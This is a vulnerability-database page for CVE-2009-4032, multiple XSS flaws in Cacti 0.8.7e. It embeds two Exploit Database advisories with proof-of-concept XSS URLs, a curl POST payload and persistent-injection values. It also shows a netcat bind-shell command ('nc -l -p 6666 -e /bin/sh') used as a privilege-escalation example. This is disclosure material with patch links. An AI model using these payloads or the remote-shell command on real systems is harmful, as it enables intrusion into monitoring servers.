CVE-2009-4032 : Detail

CVE-2009-4032

Cross-site Scripting
A03-Injection
5.64%V3
Network
2009-11-27
18h00 +00:00
2018-10-10
16h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Multiple cross-site scripting (XSS) vulnerabilities in Cacti 0.8.7e allow remote attackers to inject arbitrary web script or HTML via vectors related to (1) graph.php, (2) include/top_graph_header.php, (3) lib/html_form.php, and (4) lib/timespan_settings.php, as demonstrated by the (a) graph_end or (b) graph_start parameters to graph.php; (c) the date1 parameter in a tree action to graph_view.php; and the (d) page_refresh and (e) default_dual_pane_width parameters to graph_settings.php.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 10234

Publication date : 2009-11-25 23h00 +00:00
Author : Moritz Naumann
EDB Verified : Yes

Moritz Naumann <[email protected]> cacti: http://www.cacti.net/ ================================================================= Cacti 0.8.7e and earlier versions are affected by multiple security issues. Issues 1-4 are cross site scripting issues, issue 5 is a priviledge escalation issue. 1. XSS 1 A HTTP GET request against the following URL will, on a web browser with Javascript support, cause a dialog box saying '1' to be displayed: http://CACTIHOST/graph.php?action=zoom&local_graph_id=1&graph_end=1%27%20style=visibility:hidden%3E%3Cscript%3Ealert(1)%3C/script%3E%3Cx%20y=%27 This vulnerability is only exploitable if the victim is allowed to view graphs. This will be true if the victim has previously authenticated against Cacti or if both the guest user has been activated (default: disabled) and the graph view permission was set to 'guest' (default: 'No User'). This vulnerability was tested with Firefox 3.0.6. The Cacti group provides a patch to fix this vulnerability: http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch 2. XSS 2 The following curl invocation will generate a HTTP POST request against http://CACTIHOST/graph_view.php?action=tree&tree_id=1&leaf_id=7&select_first=true with an 'application/x-www-form-urlencoded' content type HTTP body part containing date1=%27%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3Cx+y%3D%27' Curl will write the resulting output to a file named poc.html. > curl -d 'date1=%27%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E%3Cx+y%3D%27' 'http://CACTIHOST/graph_view.php?action=tree&tree_id=1&leaf_id=7&select_first=true' > poc.html When this file is loaded and rendered by a web browser with Javascript support, this will cause a dialog box saying '2' to be displayed. This vulnerability is only exploitable if the victim is allowed to view graphs. This will be true if the victim has previously authenticated against Cacti or if both the guest user has been activated (default: disabled) and the graph view permission was set to 'guest' (default: 'No User'). The Cacti group provides a patch to fix this vulnerability: http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch 3. XSS 3 If an attacker or the victim has permission to modify the graph display settings via graph_settings.php, the attacker is able to persistently inject javascript code via the 'page_refresh' and 'default_dual_pane_width' parameters. Setting 'page_refresh' to the following value will, on any consecutive visitors' web browser with Javascript support, cause a dialog box saying '3' to be displayed: 300'><x y=' Setting 'default_dual_pane_width' to the following value will, on any consecutive visitors' web browser with Javascript support, cause a dialog box saying '3' to be displayed: 200"><x y=" The Cacti group provides a patch to fix this vulnerability: http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch 4. XSS 4 A HTTP GET request against the following URL will, on a web browser with Javascript support, cause a dialog box saying '4' to be displayed: > > http://CACTIHOST/graph.php?action=properties&local_graph_id=201&rra_id=0&view_type=tree&graph_start=%3C/pre%3E%3Cscript%3Ealert(4)%3C/script%3E%3Cpre%3E This vulnerability is only exploitable if the victim is allowed to view graphs. This will be true if the victim has previously authenticated against Cacti or if both the guest user has been activated (default: disabled) and the graph view permission was set to 'guest' (default: 'No User'). Alternatively, a similar injection can be achieved, if an attacker or his victim has permission to modify the graph display settings via graph_settings.php. If so, the attacker is able to persistently inject javascript code via the 'title_size', 'legend_size', 'axis_size' and 'unit_size' parameters. Setting any of these parameters to the following value will, on any consecutive visitors' web browser with Javascript support, cause a dialog box saying '4' to be displayed: 8</pre><pre> This vulnerability was tested with Firefox 3.0.6 The Cacti group provides a patch to fix this vulnerability: http://www.cacti.net/downloads/patches/0.8.7e/cross_site_fix.patch 5. Priviledge escalation Finally, due to the permissive way the web interface allows Cacti to be configured, a cacti administrator is also able to execute arbitrary commands on the system as the user the Cacti polling mechanism runs as (usually a non-priviledged user). For example, it is possible to successfully spawn (and connect to) a backdoor/remote shell on the Cacti system by changing the "Data Input Method" for "Linux - Get Memory Usage". Setting "Input String" to nohup nc -l -p 6666 -n -e /bin/sh & would spawn a remotely accessible shell whenever this handler was called (every couple of minutes by default on my Debian test system). Cacti developers say: > There is no effective way to fix the data input method without breaking Cacti. It will be reviewed for the release of 0.8.8. The XSS issues are currently tracked as CVE-2009-4032 (additional CVEs may or may not be assigned), issue 5 has not been tracked so far (to my knowledge).
Exploit Database EDB-ID : 33374

Publication date : 2009-11-20 23h00 +00:00
Author : Moritz Naumann
EDB Verified : Yes

source: https://www.securityfocus.com/bid/37109/info Cacti is prone to multiple cross-site-scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. Versions prior to Cacti 0.8.7g are vulnerable. http://www.example.com/graph.php?action=zoom&local_graph_id=1&graph_end=1%27%20style=visibility:hidden%3E%3Cscript%3Ealert(1)%3C/script%3E%3Cx%20y=%27 http://www.example.com/graph.php?action=properties&local_graph_id=201&rra_id=0&view_type=tree&graph_start=%3C/pre%3E%3Cscript%3Ealert(4)%3C/script%3E%3Cpre%3E http://www.example.com/graph.php?action=properties&local_graph_id=201&rra_id=0&view_type=tree&graph_start=%3C/pre%3E%3Cscript%3Ealert(4)%3C/script%3E%3Cpre%3E

Products Mentioned

Configuraton 0

Cacti>>Cacti >> Version 0.8.7e

References

http://secunia.com/advisories/38087
Tags : third-party-advisory, x_refsource_SECUNIA
http://jvn.jp/en/jp/JVN09758120/index.html
Tags : third-party-advisory, x_refsource_JVN
http://secunia.com/advisories/41041
Tags : third-party-advisory, x_refsource_SECUNIA
http://jvndb.jvn.jp/ja/contents/2009/JVNDB-2009-003901.html
Tags : third-party-advisory, x_refsource_JVNDB
https://rhn.redhat.com/errata/RHSA-2010-0635.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.openwall.com/lists/oss-security/2009/11/25/2
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2009/11/30/2
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/37481
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openwall.com/lists/oss-security/2009/11/25/4
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2009/11/26/1
Tags : mailing-list, x_refsource_MLIST
http://www.securityfocus.com/bid/37109
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2009/3325
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2010/2132
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/37934
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.osvdb.org/60483
Tags : vdb-entry, x_refsource_OSVDB